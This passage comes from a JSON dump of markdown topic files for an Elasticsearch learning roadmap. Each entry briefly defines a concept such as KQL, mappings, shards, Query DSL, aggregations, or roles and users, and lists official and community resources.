    "content": "# Kibana Console\n\nKibana is a web interface that allows you to explore, visualize, and manage data indexed in Elasticsearch. It provides tools for searching, analyzing, and visualizing your data in real-time. Through Kibana, you can create dashboards, charts, and maps to gain insights from your Elasticsearch data. It also offers features for managing your Elasticsearch cluster, including monitoring its health and performance.\n\nVisit the following resources to learn more:\n\n- [@official@Elastic Console](https://www.elastic.co/docs/explore-analyze/query-filter/tools/console)\n- [@video@Kibana Dev Tools: Overview, Usage & Examples - Daily Elastic Byte S02E05](https://www.youtube.com/watch?v=ZiHiH3wfgas)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/kql@Ad5Ck2ZdLN3iphqRmFMIF.md",
    "content": "# KQL\n\nKibana Query Language (KQL) is a query language used within Kibana to search and filter data in Elasticsearch. It allows users to construct queries using a human-readable syntax, making it easier to find specific information within their Elasticsearch indices without needing to write complex JSON-based Elasticsearch queries. KQL supports features such as free-text search, field-based filtering, Boolean operators, and range queries.\n\nVisit the following resources to learn more:\n\n- [@official@KQL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/kql)\n- [@official@Kibana Query Language](https://www.elastic.co/docs/reference/query-languages/kql)\n- [@article@How to Query Elasticsearch in Kibana](https://dattell.com/data-architecture-blog/how-to-query-elasticsearch-in-kibana/)\n- [@video@Exploring and querying your data with Kibana](https://www.youtube.com/watch?v=t3cebUxRliA)\n- [@video@Understanding the Kibana Query Language (KQL)](https://www.youtube.com/watch?v=wfqItAlUy8g)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/latest@aX6S8p760HI7U9POwTJ1e.md",
    "content": "# Latest Transformation\n\nThe \"latest\" transformation in Elasticsearch is used to identify and extract the most recent document within a group of documents that share a common field value. It allows you to find the most up-to-date information for each unique entity based on a specified sorting criteria, such as a timestamp or version number. This is particularly useful when dealing with time-series data or scenarios where you need to retrieve the latest state of an object.\n\nVisit the following resources to learn more:\n\n- [@official@Latest transforms](https://www.elastic.co/docs/explore-analyze/transforms/transform-overview#latest-transform-overview)\n- [@official@Transform and enrich data](https://www.elastic.co/docs/manage-data/ingest/transform-enrich)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/leaf-vs-compound-queries@xpxl2b_9DUXCT4bpyGete.md",
    "content": "# Leaf vs. Compound Queries\n\nLeaf queries in Elasticsearch target specific fields with simple search criteria, like finding documents where a field matches a particular value or falls within a certain range. Compound queries, on the other hand, combine multiple leaf or other compound queries to create more complex search logic, allowing you to specify how these individual queries should interact (e.g., must all match, at least one must match, or none should match).\n\nVisit the following resources to learn more:\n\n- [@official@Query DSL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl)\n- [@official@Compound queries](https://www.elastic.co/docs/reference/query-languages/query-dsl/compound-queries)\n- [@article@Introduction to Elasticsearch Queries](https://medium.com/elasticsearch/introduction-to-elasticsearch-queries-b5ea254bf455)\n- [@article@An introduction to Query DSL: creating queries in Elasticsearch](https://kwan.com/blog/an-introduction-to-query-dsl-creating-queries-in-elasticsearch/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/lucene@jWST5oXpmJVhjXKucbUu5.md",
    "content": "# Lucene Query Syntax\n\nLucene is a powerful text search engine library. Its query syntax provides a way to specify search criteria using terms, phrases, wildcards, and boolean operators. This enables users to conduct complex searches within text-based data, surpassing simple keyword matching to define precise and nuanced search criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Lucene query syntax](https://www.elastic.co/docs/explore-analyze/query-filter/languages/lucene-query-syntax)\n- [@article@Apache Lucene Core](https://lucene.apache.org/core/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/mapping-explosion@X_6Cyj7QIls5FK1gmvi4e.md",
    "content": "# Mapping Explosion\n\nMapping explosion in Elasticsearch refers to the uncontrolled growth of fields within an index's mapping. This typically happens when Elasticsearch automatically creates mappings for new fields as it encounters them in incoming documents. Suppose a large number of unique and unexpected field names are introduced. In that case, the index mapping can become excessively large, consuming significant memory and impacting cluster performance due to increased resource usage during mapping updates and search operations."
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/mappings@2ZJCuKPy1VnJzTI0CkgeI.md",
    "content": "# Mappings\n\nMappings are like schemas in relational databases; they define how a document and its fields are stored and indexed. They specify the data type of each field (like text, keyword, date, or number) and how Elasticsearch should handle that data for searching and analysis. Mappings are crucial for ensuring data is indexed correctly and that queries return accurate and relevant results.\n\nVisit the following resources to learn more:\n\n- [@official@Mapping](https://www.elastic.co/docs/manage-data/data-store/mapping)\n- [@article@Elasticsearch Mapping](https://opster.com/guides/elasticsearch/glossary/elasticsearch-mapping/)\n- [@article@[Beginner's guide] Understanding mapping with Elasticsearch and Kibana](https://dev.to/lisahjung/beginner-s-guide-understanding-mapping-with-elasticsearch-and-kibana-3646)\n- [@video@What Are Mappings in Elasticsearch? (Explained Simply)](https://www.youtube.com/watch?v=ryXCer_rJcg)\n- [@video@Beginner’s Crash Course to Elastic Stack - Part 5: Mapping](https://www.youtube.com/watch?v=FQAHDrVwfok)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/master-elegible-nodes@Mc96iYA5dzWQJ0Kz8mgZC.md",
    "content": "# Master-Eligible Nodes\n\nMaster-eligible nodes in Elasticsearch are the nodes that can be elected as the master node. The master node is responsible for cluster-wide management tasks, such as creating or deleting indices, tracking which nodes are part of the cluster, and deciding how to allocate shards across the cluster. These nodes participate in the master election process and have the potential to become the cluster's central controller.\n\nVisit the following resources to learn more:\n\n- [@official@Node roles](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards/node-roles)\n- [@article@Elasticsearch Nodes](https://opster.com/guides/elasticsearch/glossary/elasticsearch-node/)\n- [@video@Adding Nodes to an Elasticsearch Cluster](https://www.youtube.com/watch?v=XyQ4AN1Jn78)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/match-phrase-query@OBSm1fxTj1HhuqN2FACQb.md",
    "content": "# Match Phrase Query\n\nThe Match Phrase query searches for documents that contain the exact phrase specified in the query. This means the terms must appear in the precise order and be adjacent to each other, as defined in the query string. It's a stricter form of matching compared to a standard match query, which only requires the terms to be present in the document, regardless of their order or proximity."
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/match-query@hwZQg4HXZeQRX5ty47U9h.md",
    "content": "# Match Query\n\nThe Match Query is a fundamental full-text search query in Elasticsearch. It allows you to search for documents that contain specific terms within a field. It analyzes the query string provided, breaking it down into individual terms based on the field's analyzer, and then searches for those terms in the specified field.\n\nVisit the following resources to learn more:\n\n- [@official@Match query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-match-query)\n- [@article@Elasticsearch Match Query Usage and Examples](https://openobserve.ai/articles/elasticsearch-matching/)\n- [@video@Elasticsearch Match Query: Overview, Usage & Examples - S1E1 Query DSL Series](https://www.youtube.com/watch?v=ji8TJtLO6bI)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/must@f63E0rn-Ayz_AAUQM-o-N.md",
    "content": "# Must Queries\n\nA \"must\" query in Elasticsearch is a type of compound query that specifies conditions that documents must satisfy to be included in the search results. It contributes to the relevance score of each matching document. Essentially, it acts as a mandatory filter, ensuring that only documents matching the specified criteria are returned.\n\nVisit the following resources to learn more:\n\n- [@official@Bool Queries](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-bool-query)\n- [@article@Elasticsearch Query Bool](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-query-bool/)\n- [@article@Elasticsearch Boolean Clauses](https://dattell.com/data-architecture-blog/how-to-query-elasticsearch-with-boolean-queries/)\n- [@video@Boolean Query in Elasticsearch | Bool, Filter, Must, Must Not, Should, DSL | ES7 for Beginners #4.3](https://www.youtube.com/watch?v=ba2Qn3y486M)\n- [@video@Elasticsearch Bool Query (Must & Must_not Clauses) - S1E13: Mini Beginner's Crash Course](https://www.youtube.com/watch?v=DhkTerHrXsM)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/must_not@gYMl1QixMYQ6-6zCNhyEG.md",
    "content": "# Must_Not Queries\n\n`must_not` is a clause within a `bool` query that filters out documents matching the specified query. It defines conditions that documents should _not_ satisfy to be included in the search results. Essentially, it excludes documents that would otherwise be considered relevant based on other clauses in the `bool` query.\n\nVisit the following resources to learn more:\n\n- [@official@Boolean query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-bool-query)\n- [@article@Elasticsearch Bool Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-bool-query)\n- [@video@Boolean Query in Elasticsearch | Bool, Filter, Must, Must Not, Should, DSL | ES7 for Beginners #4.3](https://www.youtube.com/watch?v=ba2Qn3y486M)\n- [@video@Elasticsearch Bool Query (Must & Must_not Clauses) - S1E13: Mini Beginner's Crash Course](https://www.youtube.com/watch?v=DhkTerHrXsM&t=12s)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/nested-aggregations@NRMC5M3ZFHwHZLpPPPo5v.md",
    "content": "# Nested Aggregations\n\nNested aggregations allow you to perform aggregations on nested objects within your documents. These nested objects are stored as separate documents internally by Elasticsearch, and nested aggregations provide a way to access and analyze the data within these nested structures as if they were part of the parent document. This is particularly useful when you have complex data structures where related information is embedded within a single document.\n\nVisit the following resources to learn more:\n\n- [@official@Nested aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-nested-aggregation)\n- [@article@Elasticsearch Nested Aggregation](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-nested-aggregation/)\n- [@article@How to Optimize Nested Aggregations in Elasticsearch](https://opster.com/guides/elasticsearch/search-apis/optimizing-nested-aggregations-elasticsearch/)\n- [@video@Nested Aggregations](https://www.youtube.com/watch?v=G1ExN9cBVCw)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/nested@vgXst45dhcu2w29Wm8Xwp.md",
    "content": "# Nested Data Type\n\nThe nested data type is used to represent arrays of objects within a document. Each object in the array can be indexed as a separate document, allowing you to query and filter based on the properties of individual objects within the array, without affecting other objects in the same array. This is particularly useful when you need to perform complex queries on related objects stored within a single document.\n\nVisit the following resources to learn more:\n\n- [@official@Nested field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/nested)\n- [@video@Nested vs object elasticsearch | How do I query nested objects in Elasticsearch?](https://www.youtube.com/watch?v=YIFDzfImSF8)\n- [@video@Querying Nested Objects in Elasticsearch](https://www.youtube.com/watch?v=UeAHBLJDFR8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/node-instance@XjeQ-O1XA9q2wCIyzXLHg.md",
    "content": "# Node (Instance)\n\nA node is a single server within an Elasticsearch cluster that stores data and participates in the cluster's indexing and search capabilities. Each node is configured with a name and can be assigned specific roles, such as master, data, or ingest, to optimize resource allocation and cluster performance. Nodes communicate with each other to distribute data, manage cluster state, and handle search requests.\n\nVisit the following resources to learn more:\n\n- [@official@Node settings](https://www.elastic.co/docs/reference/elasticsearch/configuration-reference/node-settings)\n- [@official@Clusters, nodes, and shards](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards)\n- [@official@Add and Remove Elasticsearch nodes](https://www.elastic.co/docs/deploy-manage/maintenance/add-and-remove-elasticsearch-nodes)\n- [@video@Nodes, Clusters & Shards - Elasticsearch 101 Course, Episode 2](https://www.youtube.com/watch?v=sAySPSyL2qE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/numeric@_L1JMJIEJQ3VzQc0LfhfF.md",
    "content": "# Numeric Data Types\n\nNumeric data types in Elasticsearch are used to store numerical values, such as integers and floating-point numbers. These types allow you to efficiently store and query numerical data, enabling operations like range queries, aggregations, and sorting based on numerical values. Elasticsearch offers various numeric types to optimize storage and performance based on the expected range and precision of your data.\n\nVisit the following resources to learn more:\n\n- [@official@Numeric field types](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/number)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/object@RHUajAEJqQy9lnKUv-yiF.md",
    "content": "# Object Data Type\n\nAn object is a data type that allows you to store nested JSON documents within a single document. This means you can represent complex, hierarchical data structures where a field can contain other fields and their corresponding values, similar to how objects are structured in programming languages. These nested objects can be indexed and searched, enabling you to query based on the properties within the nested structure.\n\nVisit the following resources to learn more:\n\n- [@official@Object field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/object)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/optimizing-bulk-indexing@Vv7YmE4OqTsn2WWHS6bQW.md",
    "content": "# Optimizing Bulk Indexing\n\nBulk indexing in Elasticsearch is the process of sending multiple indexing, updating, or deleting operations in a single request. Optimizing this process involves tuning various parameters and strategies to maximize throughput and minimize resource consumption, ensuring data is efficiently loaded into Elasticsearch. This includes adjusting batch sizes, managing thread pools, and leveraging techniques like request routing and refresh interval adjustments.\n\nVisit the following resources to learn more:\n\n- [@official@Tune for indexing speed](https://www.elastic.co/docs/deploy-manage/production-guidance/optimize-performance/indexing-speed)\n- [@article@Optimizing Elasticsearch Bulk Indexing for High Performance](https://opster.com/guides/elasticsearch/how-tos/optimizing-elasticsearch-bulk-indexing-high-performance/)\n- [@article@Tips and Tricks for Elasticsearch Indexing](https://medium.com/@nile.bits/tips-and-tricks-for-elasticsearch-indexing-ead3ddbc11de)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/pagination@-GcXnJzacIDHkoZFzmoq0.md",
    "content": "# Pagination\n\nPagination divides search results into discrete pages, allowing users to navigate through large datasets in manageable chunks. Instead of displaying all results at once, which can be overwhelming and resource-intensive, pagination presents a subset of results per page, improving user experience and reducing server load. This involves specifying the starting point (from) and the number of results to return (size) for each page.\n\nVisit the following resources to learn more:\n\n- [@official@Paginate search results](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/paginate-search-results)\n- [@article@Explaining Pagination in ElasticSearch](https://dev.to/lazypro/explaining-pagination-in-elasticsearch-2g26)\n- [@article@Elasticsearch Pagination – Which Technique to Use Depending on Your Use Case](https://opster.com/guides/how-tos/elasticsearch-pagination-techniques/)\n- [@video@4 Ways to do Pagination or scrolling in Elastic Search Tutorials Python](https://www.youtube.com/watch?v=P8Eu6sotkCw)\n- [@video@Pagination of results in Elasticsearch | from & size, scroll, search after [ES7 for Beginners #4.4]](https://www.youtube.com/watch?v=8noSYHuTeSM)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/pipeline-aggregations@ngYPDkTwj1e4HTFYJZ8ru.md",
    "content": "# Pipeline Aggregations\n\nPipeline aggregations in Elasticsearch take the results of other aggregations as their input, allowing you to perform calculations and derive new insights based on the aggregated data. Instead of operating on the documents themselves, they process the output of other aggregations, enabling you to create complex analytical pipelines within your search queries. This allows for calculations like moving averages, derivatives, and cumulative sums to be performed directly within Elasticsearch.\n\nVisit the following resources to learn more:\n\n- [@official@Pipeline](https://www.elastic.co/docs/reference/aggregations/pipeline)\n- [@article@Comprehensive Guide to Elasticsearch Pipeline Aggregations: Part I](https://medium.com/qbox-search-as-a-service/comprehensive-guide-to-elasticsearch-pipeline-aggregations-part-i-be77aff65630)\n- [@article@Comprehensive Guide to Elasticsearch Pipeline Aggregations: Part II](https://medium.com/qbox-search-as-a-service/comprehensive-guide-to-elasticsearch-pipeline-aggregations-part-ii-f7d3dd34e4bb)\n- [@video@Pipeline Aggregations in Elasticsearch [ElasticSearch 7 for Beginners 5.3]](https://www.youtube.com/watch?v=nLSdwtqWqtk)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/pivot@MSPIbD2eaqpgjbdXRh3Tg.md",
    "content": "# Pivot Transformation\n\nThe pivot transformation in Elasticsearch is a way to reshape your data by aggregating values from one or more fields into columns. It essentially rotates the data, turning unique values in a field into separate fields in the output. This allows you to analyze and visualize data in a different format, making it easier to identify trends and patterns that might be hidden in the original structure.\n\nVisit the following resources to learn more:\n\n- [@official@Transforming data](https://www.elastic.co/docs/explore-analyze/transforms)\n- [@official@Pivot transforms](https://www.elastic.co/docs/explore-analyze/transforms/transform-overview#pivot-transform-overview)\n- [@official@Transforms examples](https://www.elastic.co/docs/explore-analyze/transforms/transform-examples)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/prefix-query@dFKT1qTnnJwAreg9E0GsF.md",
    "content": "# Prefix Query\n\nA prefix query finds documents that contain terms starting with a specific prefix. It operates at the term level, meaning it searches for the prefix directly within the indexed terms of a field. This query is useful for implementing features like autocompletion or searching for products based on the beginning of their names.\n\nVisit the following resources to learn more:\n\n- [@official@Prefix query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-prefix-query)\n- [@article@Elasticsearch Prefix Query](https://opster.com/guides/elasticsearch/how-tos/elasticsearch-prefix-query/)\n- [@article@Elasticsearch Prefix Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-prefix-query)\n- [@article@Elasticsearch in Action: Prefix Queries](https://mkonda007.medium.com/elasticsearch-in-action-prefix-queries-f5891cdd2457)\n- [@video@Elasticsearch match phrase prefix query with definition and examples](https://www.youtube.com/watch?v=cP8fa3orte0)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/primary-shards@nkqoh4_V4VRyETqN0ci1R.md",
    "content": "# Primary Shards\n\nPrimary shards are the fundamental units of data storage in Elasticsearch. An index is logically divided into one or more primary shards, each of which contains a portion of the index's data. These shards allow Elasticsearch to distribute data across multiple nodes in a cluster, enabling horizontal scaling and improved performance. The number of primary shards is defined at index creation and determines the maximum level of parallelism for indexing and searching.\n\nVisit the following resources to learn more:\n\n- [@official@Clusters, nodes, and shards](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards)\n- [@official@Size your shards](https://www.elastic.co/docs/deploy-manage/production-guidance/optimize-performance/size-shards)\n- [@article@Understanding Shards in Elasticsearch](https://opster.com/guides/elasticsearch/glossary/what-are-shards-in-elasticsearch/)\n- [@article@Elasticsearch shards and replicas: A practical guide](https://www.elastic.co/search-labs/blog/elasticsearch-shards-and-replicas-guide)\n- [@video@Nodes, clusters, and shards in Elasticsearch - S1E3:Mini Beginner's Crash Course](https://www.youtube.com/watch?v=9uJNksCj2f8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/query-dsl@4-hkqr1z0p56K0HzbifEs.md",
    "content": "# Query DSL\n\nQuery DSL (Domain Specific Language) is a JSON-based language used to define and execute search queries in Elasticsearch. It provides a structured way to express complex search criteria, including boolean logic, term matching, range queries, and more, allowing users to precisely specify what data they want to retrieve.\n\nVisit the following resources to learn more:\n\n- [@official@Query DSL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl)\n- [@official@Get started with Query DSL search and filters](https://www.elastic.co/docs/reference/query-languages/query-dsl/full-text-filter-tutorial)\n- [@article@Elasticsearch Queries: A Guide to Query DSL](https://logz.io/blog/elasticsearch-queries/)\n- [@article@Elasticsearch Query DSL Examples](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-query-dsl-examples/)\n- [@video@Elasticsearch query DSL](https://www.youtube.com/playlist?list=PLGZAAioH7ZlMQGCt8GeAaJLvgehhq-gEK)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/query@GUxc44CiMH8DAaHEB8H1I.md",
    "content": "# Query\n\nA query is a request for information from a data source. It specifies the criteria for retrieving specific data that matches the defined conditions. In Elasticsearch, queries are used to search and retrieve documents that match certain criteria within an index. These queries can range from simple keyword searches to complex combinations of filters and conditions.\n\nVisit the following resources to learn more:\n\n- [@official@Query and filter context](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-filter-context)\n- [@official@Query DSL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl)\n- [@article@Deep Dive into Elastic Search Querying, Filter vs Query Context](https://mahajanjatin-14.medium.com/deep-dive-into-elastic-search-querying-filter-vs-query-context-920fdbfd31de)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/range--date-range@yVjpNuTx5StM7g0Jojmc2.md",
    "content": "# Range/Date Range Aggregations\n\nRange and Date Range aggregations are used to categorize documents into buckets based on numeric or date values falling within specified ranges. These aggregations allow you to define custom intervals for grouping data, providing flexibility in analyzing distributions and trends across your dataset. You can define specific start and end points for each range, enabling you to create meaningful segments for your analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Range aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-range-aggregation)\n- [@official@Date range aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-daterange-aggregation)\n- [@article@Elasticsearch Range Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-range-aggregation)\n- [@article@Elasticsearch Date Range Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-date-range-aggregation)\n- [@video@Elasticsearch Bucket, Histogram, Range & Terms Aggregations - S1E17 Mini Beginner's Crash Course](https://www.youtube.com/watch?v=R114ib2D9mU)\n- [@video@Bucket Aggregations in Elasticsearch | ElasticSearch 7 for Beginners #5.2](https://www.youtube.com/watch?v=8QmBZLOl9Y8&t=277s)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/range-query@h0u093c6Ccx9SllBehnYt.md",
    "content": "# Range Query\n\nA range query allows you to find documents where the value of a specific field falls within a specified range. This range can be defined using upper and lower bounds, which can be inclusive or exclusive. It's useful for filtering data based on numerical values, dates, or even strings that can be lexicographically compared.\n\nVisit the following resources to learn more:\n\n- [@article@Range query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-range-query)\n- [@article@Elasticsearch Range Query: Advanced Usage and Optimization Techniques](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-range-query/)\n- [@article@Elasticsearch Range Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-range-query)\n- [@article@How to use range query - Spring Data Elasticsearch - Part 5](https://www.youtube.com/watch?v=KmDvh9OLt-Y)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/reindex-api@s1Finic6tTeSbgXt1nz30.md",
    "content": "# Reindex API\n\nThe Reindex API in Elasticsearch allows you to copy documents from one index to another. This is useful for a variety of tasks, including changing the mapping of an index, upgrading to a new Elasticsearch version, or splitting a large index into smaller ones. It essentially reads documents from a source index and writes them into a destination index, optionally applying transformations along the way.\n\nVisit the following resources to learn more:\n\n- [@official@Reindex documents](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex)\n- [@article@Reindex indices examples](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/reindex-indices)\n- [@article@Elasticsearch Reindexing: When to Reindex, Best Practices and Alternatives](https://medium.com/@jmills2010/elasticsearch-reindexing-when-to-reindex-best-practices-and-alternatives-7ebfa11667a0)\n- [@article@Elasticsearch Reindex API: A Guide to Data Management](https://last9.io/blog/elasticsearch-reindex-api/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/replica-shards@ANeRCig1fihD5-4a7l9lz.md",
    "content": "# Replica Shards\n\nReplica shards are copies of primary shards within an Elasticsearch index. They provide redundancy, ensuring data availability even if a primary shard fails. Additionally, replica shards serve read requests, distributing the load and improving search performance by allowing Elasticsearch to process queries in parallel across multiple shards.\n\nVisit the following resources to learn more:\n\n- [@official@Reading and writing documents](https://www.elastic.co/docs/deploy-manage/distributed-architecture/reading-and-writing-documents)\n- [@article@Elasticsearch shards and replicas: A practical guide](https://www.elastic.co/search-labs/blog/elasticsearch-shards-and-replicas-guide)\n- [@video@Nodes, clusters, and shards in Elasticsearch - S1E3:Mini Beginner's Crash Course](https://www.youtube.com/watch?v=9uJNksCj2f8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/rest-api-basics@ciLSkWlj0_WzCUydb9Cdz.md",
    "content": "# REST API Basics\n\nREST API (Representational State Transfer Application Programming Interface) is an architectural style for building networked applications. It relies on a stateless, client-server communication protocol, typically HTTP, to perform operations on resources. These operations, often referred to as CRUD (Create, Read, Update, Delete), are executed using standard HTTP methods like GET, POST, PUT, and DELETE, allowing different software systems to interact with each other over a network.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated API Design Roadmap](https://roadmap.sh/api-design)\n- [@article@What is REST API?](http://cloud.google.com/discover/what-is-rest-api?hl=en)\n- [@article@What is REST API? - IBM](https://www.ibm.com/think/topics/rest-apis)\n- [@video@What Is REST API? Examples And How To Use It: Crash Course System Design #3](https://www.youtube.com/watch?v=-mN3VyJuCjM)\n- [@video@What is a REST API?](https://www.youtube.com/watch?v=lsMQRaeKNDk)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/roles--users@xv_a_A4QJuM3Af_My0VXj.md",
    "content": "# Roles & Users\n\nRoles and users are fundamental components of security in Elasticsearch. Roles define a set of privileges, specifying what actions a user can perform on which resources (like indices or clusters). Users are then assigned one or more roles, granting them the combined permissions of those roles. This system allows administrators to control access to data and cluster operations, ensuring that only authorized individuals can perform specific tasks within the Elasticsearch environment.\n\nVisit the following resources to learn more:\n\n- [@official@User roles](https://www.elastic.co/docs/deploy-manage/users-roles/cluster-or-deployment-auth/user-roles)\n- [@official@Users and roles](https://www.elastic.co/docs/deploy-manage/users-roles)\n- [@official@User roles and privileges](https://www.elastic.co/docs/deploy-manage/users-roles/cloud-organization/user-roles)\n- [@official@Manage users and roles](https://www.elastic.co/docs/deploy-manage/users-roles/cloud-enterprise-orchestrator/manage-users-roles)\n- [@video@Managing Kibana Users, Roles & Permissions - Daily Elastic Byte S02E12](https://www.youtube.com/watch?v=mLRnNk1ZpTQ)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/rollover-policies@-jlIcMsKptM9AoST6mCOh.md",
    "content": "# Rollover Policies\n\nRollover policies in Elasticsearch automate the management of indices over time. They define conditions, such as index size, document count, or age, that trigger the creation of a new index and the transition of write operations to it. This process helps maintain manageable index sizes, optimize search performance, and simplify data retention strategies.\n\nVisit the following resources to learn more:\n\n- [@official@About rollover](https://www.elastic.co/docs/manage-data/lifecycle/index-lifecycle-management/rollover)\n- [@official@Rollover](https://www.elastic.co/docs/reference/elasticsearch/index-lifecycle-actions/ilm-rollover)\n- [@official@Roll over to a new index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-rollover)\n- [@official@Configuring rollover](https://www.elastic.co/docs/manage-data/lifecycle/index-lifecycle-management/ilm-tutorials#configuring-rollover)\n- [@article@Elasticsearch Index Life cycle and Rollover Policy](https://www.elastic.co/docs/reference/elasticsearch/index-lifecycle-actions/ilm-rollover)\n- [@video@Optimizing Index Operations in Elasticsearch: Shrink & Rollover - Daily Elastic Byte S01E05](https://www.youtube.com/watch?v=9U9OBWfxC-M)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/running-with-docker@hMmoVhZnoE0CdY-C135DW.md",
    "content": "# Running Elasticsearch with Docker\n\nDocker provides a convenient and isolated environment to run applications, including Elasticsearch. Using Docker, you can quickly set up an Elasticsearch instance without worrying about operating system compatibility or dependency conflicts. This involves pulling the official Elasticsearch image from a registry like Docker Hub, configuring the necessary environment variables and port mappings, and then starting the container. This approach simplifies deployment and ensures consistency across different environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Install Elasticsearch with Docker](https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-elasticsearch-with-docker)\n- [@official@Start a single-node cluster in Docker](https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-elasticsearch-docker-basic)\n- [@article@Elastic Stack with Docker getting started. Elasticsearch, Kibana, and Filebeat.](https://medium.com/@vosarat1995/elastic-stack-with-docker-getting-started-elasticsearch-kibana-and-filebeat-ebe75fd13041)\n- [@article@A beginner's guide to running Elasticsearch with Docker and Docker Compose](https://geshan.com.np/blog/2023/06/elasticsearch-docker/)\n- [@video@How to Install Elasticsearch using Docker - Step by Step Guide](https://www.youtube.com/watch?v=p9IWwTDHgcU)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/search-analyzer@txSx-r5A7erBVXOI18R4f.md",
    "content": "# Search Analyzer\n\nA search analyzer in Elasticsearch is responsible for processing the query text provided by a user before it's used to search the index. It transforms the query text into a format that matches the indexed data, ensuring relevant results are retrieved. This process typically involves character filtering, tokenization, and token filtering, similar to the analysis process performed on documents during indexing, but tailored for search queries.\n\nVisit the following resources to learn more:\n\n- [@official@Anatomy of an analyzer](https://www.elastic.co/docs/manage-data/data-store/text-analysis/anatomy-of-an-analyzer)\n- [@official@Index and search analysis](https://www.elastic.co/docs/manage-data/data-store/text-analysis/index-search-analysis)\n- [@official@Specify an analyzer](https://www.elastic.co/docs/manage-data/data-store/text-analysis/specify-an-analyzer)\n- [@article@https://pulse.support/kb/what-is-elasticsearch-analyzer](https://pulse.supphttps//pulse.support/kb/what-is-elasticsearch-analyzerort/kb/what-is-elasticsearch-analyzer)\n- [@video@Elastic Search Analyzer explained in a easy way](https://www.youtube.com/watch?v=9VhTnWuely4)\n- [@video@Mapping and Analysers [ElasticSearch 7 for Beginners #3.2]](https://www.youtube.com/watch?v=_OjUoZ5NbYY)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/search-engines-vs-relational-dbs@rWyeaFLWQdykUQMOn8t9k.md",
    "content": "# Search Engines vs. Relational Databases\n\nSearch engines are designed for quickly finding relevant information within large volumes of unstructured or semi-structured text, prioritizing speed and relevance scoring. Relational databases, on the other hand, are structured systems optimized for managing and querying structured data with strong consistency and transactional integrity, using predefined schemas and relationships between tables.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@official@What is a search engine?](https://www.elastic.co/what-is/search-engine)\n- [@article@A Guide to Search Engine Databases](https://www.influxdata.com/search-engine-database/)\n- [@article@Full Text Search Engines vs. DBMS](https://lucidworks.com/blog/full-text-search-engines-vs-dbms)"
  },
  {
